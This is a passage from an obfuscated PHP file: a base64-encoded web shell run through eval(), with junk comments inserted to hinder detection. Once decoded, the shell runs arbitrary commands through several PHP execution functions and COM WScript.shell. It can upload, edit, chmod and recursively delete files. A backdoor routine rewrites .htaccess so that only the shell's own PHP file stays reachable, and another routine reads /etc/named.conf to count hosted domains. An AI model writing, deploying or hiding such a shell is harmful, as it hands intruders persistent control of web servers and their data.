c2VpZiAoJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10pIHsKICAgICAgICAgICAgJGZvbGRlciA9ICRfUE9TVFsnY3JlYXRlX2ZvbGRlciddOwogICAgICAgICAgICBpZiAoJGZ1bmdzaVsyNl0oJGZvbGRlcikpIHsKICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gPz4KICAgIDxicj4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9HRVRbJ2YnXSkpIDoKICAgID8+CiAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1ib3giPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1maWxlIj48aSBjbGFzcz0iZmEtcmVndWxhciBmYS1mbG9wcHktZGlzayI+PC9pPiZuYnNwO1NhdmU8L2J1dHRvbj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJF9HRVRbJ2YnXSA/PiIgY2xhc3M9ImxpbmstcmVuYW1lIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPiZuYnNwO1JlbmFtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPiA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS14bWFyayI+PC9pPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ0ZXh0LWZpbGUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzI3XSgkX0dFVFsnZiddKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsncmVuYW1lJ10gPT0gVHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGgyPjw/PSAkX0dFVFsncmVuYW1lJ10gPz48L2gyPgogICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7RmlsZS9Gb2xkZXIiPgogICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1yZW5hbWUiIGNsYXNzPSJidG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsnY2htb2QnXSA9PSBUcnVlKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY3JlYXRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwiPgogICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICA8aDI+PD89ICRfR0VUWydjaG1vZCddID8+PC9oMj4KICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgc3R5bGU9IndpZHRoOjEwMCUiIG5hbWU9ImNobW9kIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7Nzc1Ij4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtY2htb2QiIGNsYXNzPSJidG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2JvZHk+Cgo8L2h0bWw+Cgo8P3BocAoKaWYgKCRfR0VUWydiYWNrZG9vciddID09IFRydWUpIHsKICAgIC8vIGNoZWNrIGlmIGh0YWNjZXNzIGhhdmUgdGhpcyBjb2RlCiAgICAkZmlsZV9odGFjY2VzcyA9ICRmdW5nc2lbMjddKCRfU0VSVkVSWyRmdW5nc2lbMzNdXSAuICIvaHRhY2Nlc3MiKTsKICAgICRjYXJpX2NvZGUgPSBleHBsb2RlKCc8JywgJGZpbGVfaHRhY2Nlc3MpOwogICAgaWYgKCFlbmQoJGNhcmlfY29kZSkgPT0gJy9GaWxlc01hdGNoPicpIHsKICAgICAgICAvLyBwZW5nZWNla2FuIG5hbWEgZmlsZSBzZWthcmFuZwogICAgICAgICRuYW1hZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgICAgICAkZmlsZVV0YW1hID0gZXhwbG9kZSgiLyIsICRuYW1hZmlsZSk7CiAgICAgICAgJGh0YWNjZXNzX3RleHQgPSAnCjxGaWxlc01hdGNoICIucGgqfFBoKnxwSCp8UEgqIj4KICAgIE9yZGVyIERlbnksQWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiJyAuIGVuZCgkZmlsZVV0YW1hKSAuICd8aW5kZXgucGhwfGluZGV4Lmh0bWx8Ki5wbmd8Lmh0YWNjZXNzIj4KICAgIE9yZGVyIERlbnksIEFsbG93CiAgICBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+JzsKICAgICAgICAkZG9jdW1lbnRfcm9vdCA9ICRfU0VSVkVSWyRmdW5nc2lbMzNdXTsKICAgICAgICAkY21kID0gJGZ1bmdzaVsxNF0oImVjaG8gJyIgLiAkaHRhY2Nlc3NfdGV4dCAuICInID4+ICIgLiAkZG9jdW1lbnRfcm9vdCAuICIvLmh0YWNjZXNzIik7CiAgICAgICAgaWYgKCRjbWQpIHsKICAgICAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1jaG1vZCddKSkgewogICAgJG51bWJlckNobW9kID0gJF9QT1NUWydjaG1vZCddOwogICAgJGNobV9vX2QgPSBjaG1vZCgkZnVuZ3NpWzldIC4gIi8iIC4gJF9HRVRbJ2NobW9kJ10sIGlzX2ludCgkbnVtYmVyQ2htb2QpKTsKICAgIGlmICgkY2htX29fZCkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWyd1cGxvYWQtc3VibWl0J10pKSB7CiAgICAkbmFtZV9maWxlID0gJF9GSUxFU1snZ2Vja28tZmlsZSddWyduYW1lJ107CiAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydnZWNrby1maWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkbW92ZSA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsIF9fRElSX18gLiAiLyIgLiAkbmFtZV9maWxlKTsKICAgIGlmICgkbW92ZSkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcmVuYW1lJ10pKSB7CiAgICAkbmV3X25hbWUgPSAkX1BPU1RbJ3JlbmFtZSddOwogICAgJHJlX25hbWUgPSByZW5hbWUoJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ3JlbmFtZSddLCAkbmV3X25hbWUpOwogICAgaWYgKCRyZV9uYW1lKSB7CiAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1maWxlJ10pKSB7CiAgICAkdGV4dGFyZWEgPSAkX1BPU1RbJ3RleHQtZmlsZSddOwogICAgJHdyaXRlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ2YnXSwgJHRleHRhcmVhKTsKICAgIGlmICgkd3JpdGUpIHsKICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgIH0KfQoKCgppZiAoaXNzZXQoJF9QT1NUWydnZWNrby1zdWJtaXQnXSkpIHsKICAgICRpdGVtID0gJF9QT1NUWydjaGVjay1nZWNrbyddOwogICAgaWYgKCRfUE9TVFsnYWN0aW9uLWdlY2tvJ10gPT0gImRlbGV0ZSIpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbSBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbOV0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aAogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsKICAgICAgICAgICAgaWYgKCRmdW5nc2lbMThdKCRmZCkgfHwgJGZ1bmdzaVsxN10oJGZkKSkgewogICAgICAgICAgICAgICAgJHJtZGlyID0gdW5saW5rRGlyKCRmZCk7CiAgICAgICAgICAgICAgICAkcm1maWxlID0gJGZ1bmdzaVszMF0oJGZkKTsKICAgICAgICAgICAgICAgIGlmICgkcm1kaXIgfHwgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBzdWNjZXNzKCkKewogICAgcmV0dXJuICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZGlyPScgLiBoZXgoJEdMT0JBTFNbJ2Z1bmdzaSddWzldKCkpIC4gJyZyZXNwb25zZT1zdWNjZXNzIj4nOwp9CmZ1bmN0aW9uIGZhaWxlZCgpCnsKICAgIHJldHVybiAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Rpcj0nIC4gaGV4KCRHTE9CQUxTWydmdW5nc2knXVs5XSgpKSAuICcmcmVzcG9uc2U9ZmFpbGVkIj4nOwp9CgpmdW5jdGlvbiBfbWFkX2NtZCgkZGUpCnsKICAgICRvdXQgPSAnJzsKICAgIHRyeSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgICAgIHJldHVybiBAJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCRkZSk7CiAgICAgICAgfSBlbHNlIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bM10oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgICAgICRleGVjID0gYXJyYXkoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxXSgkZGUsICRleGVjKTsKICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsICRleGVjKTsKICAgICAgICAgICAgcmV0dXJuICRleGVjOwogICAgICAgIH0gZWxzZSBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMl0oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3BjbG9zZScpKSB7CiAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJGRlLCAiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpCiAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydmdW5nc2knXVs2XSgkZik7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAgICAgJHBpcGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgJHByb2Nlc3MgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzRdKCRkZSAuICcgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IikpLCAkcGlwZXMsIG51bGwpOwogICAgICAgICAgICAkb3V0ID0gQCRHTE9CQUxTWydmdW5nc2knXVs4XSgkcGlwZXNbMV0pOwogICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICB9IGVsc2UgaWYgKGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICAgICAgJG1hZFdzID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgICAgICAgICAkZXhlYyA9ICRtYWRXcy0+JEdMT0JBTFNbJ2Z1bmdzaSddWzFdKCdjbWQuZXhlIC9jICcgLiAkX1BPU1RbJ2FsZmExJ10pOwogICAgICAgICAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgICAgICAgICAkb3V0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOwogICAgICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCgoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRkaXJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsxOF0oJGRpciAuICIvIiAuICRyZWFkRGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CgogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIgLiAiLyIgLiAkcmVhZERpcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgoKCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMzBdKCRmaWxlKTsKICAgIH0KICAgICRkaXJzID0gYXJyYXlfcmV2ZXJzZSgkZGlycyk7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7CiAgICAgICAgJEdMT0JBTFNbJ2Z1bmdzaSddWzI5XSgkZGlyKTsKICAgIH0KfQoKZnVuY3Rpb24gZm9ybWF0U2l6ZSgkYnl0ZXMpCnsKICAgICR0eXBlcyA9IGFycmF5KCc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5LQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+TUI8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPkdCPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5UQjwvc3Bhbj4nKTsKICAgIGZvciAoJGkgPSAwOyAkYnl0ZXMgPj0gMTAyNCAmJiAkaSA8IChjb3VudCgkdHlwZXMpIC0gMSk7ICRieXRlcyAvPSAxMDI0LCAkaSsrKTsKICAgIHJldHVybiAocm91bmQoJGJ5dGVzLCAyKSAuICIgIiAuICR0eXBlc1skaV0pOwp9CgpmdW5jdGlvbiBzeW1saW5rRG9tYWluKCkKewogICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOwogICAgaWYgKCEkZDBtYWlucykgewogICAgICAgICRkb20gPSAiPGZvbnQgY29sb3I9cmVkIHNpemU9MnB4PkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9mb250PiI7CiAgICAgICAgJEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwogICAgfSBlbHNlIHsKICAgICAgICAkY291bnQgPSAwOwogICAgICAgIGZvcmVhY2ggKCRkMG1haW5zIGFzICRkMG1haW4pIHsKICAgICAgICAgICAgaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSkgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKSB7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZG9tID0gIiRjb3VudCBEb21haW4iOwogICAgfQogICAgcmV0dXJuICRkb207Cn0KCmZ1bmN0aW9uIGxpbnV4X3ZlcnNpb24oKQp7CiAgICAkcGVjYWggPSBleHBsb2RlKCIgIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzExXSgpKTsKICAgICRwY2FoID0gZXhwbG9kZSgiLSIsICRwZWNhaFsyXSk7CiAgICByZXR1cm4gJHBjYWhbMF07Cn0KCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKQp7CiAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewogICAgICAgIC8vIFNvY2tldAogICAgICAgICRpbmZvID0gJ3MnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgIC8vIFN5bWJvbGljIExpbmsKICAgICAgICAkaW5mbyA9ICdsJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKICAgICAgICAvLyBSZWd1bGFyCiAgICAgICAgJGluZm8gPSAnLSc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAgICAgLy8gQmxvY2sgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2InOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIC8vIERpcmVjdG9yeQogICAgICAgICRpbmZvID0gJ2QnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAgICAgLy8gRklGTyBwaXBlCiAgICAgICAgJGluZm8gPSAncCc7CiAgICB9IGVsc2UgewogICAgICAgIC8vIFVua25vd24KICAgICAgICAkaW5mbyA9ICd1JzsKICAgIH0KICAgIC8vIE93bmVyCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CiAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgLy8gR3JvdXAKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgogICAgLy8gV29ybGQKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGhleCgkbikKewogICAgJHkgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsKICAgICAgICAkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOwogICAgfQogICAgcmV0dXJuICR5Owp9CmZ1bmN0aW9uIHVuaGV4KCR5KQp7CiAgICAkbiA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsKICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQo/Pgo=";/*9x50qs12dfsasdfadfs*/$q="?>";/*9x50qs12dfsasdfadfs*/eval(/*9x50qs12dfsasdfadfs*/$q./*9x50qs12dfsasdfadfs*/$o($p)/*9x50qs12dfsasdfadfs*/);$r="1452775";$s=0;?>